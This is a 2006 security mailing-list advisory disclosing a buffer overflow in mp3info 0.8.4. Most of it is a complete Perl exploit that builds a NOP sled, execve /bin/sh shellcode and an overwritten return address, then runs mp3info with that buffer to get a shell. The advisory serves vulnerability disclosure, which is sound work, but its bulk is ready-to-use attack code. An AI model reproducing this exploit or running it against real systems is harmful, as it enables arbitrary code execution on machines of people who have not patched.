[EXPL] mp3info Buffer Overflow
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 14 May 2006 18:09:40 +0200
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mp3info Buffer Overflow
------------------------------------------------------------------------
SUMMARY
" <http://www.ibiblio.org/mp3info/> MP3Info is a little utility used to
read and modify the ID3 tags of MP3 files."
Improper handling of user input allows attackers to execute arbitrary code
using mp3info.
DETAILS
Vulnerable Systems:
* mp3info version 0.8.4
Exploit:
#!/usr/bin/perl
# mp3info Buffer Overflow Exploit
# by Kamil 'K3' Sienicki
# just for fun ;-)
$shellcode = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";
$len = 413;
$ret = 0xbffff660;
$nop = "\x90";
$offset = 465;
if (@ARGV == 1) {
$offset = $ARGV[0];
}
for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}
$buffer .= $shellcode;
print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");
$new_ret = pack('l', ($ret + $offset));
for ($i += length($shellcode); $i < $len; $i += 4) {
$buffer .= $new_ret;
}
exec("/usr/bin/mp3info", $buffer);
#EoF
ADDITIONAL INFORMATION
The information has been provided by <mailto:K3@xxxxxxxxxxxxxxx> Kamil
Sienicki.
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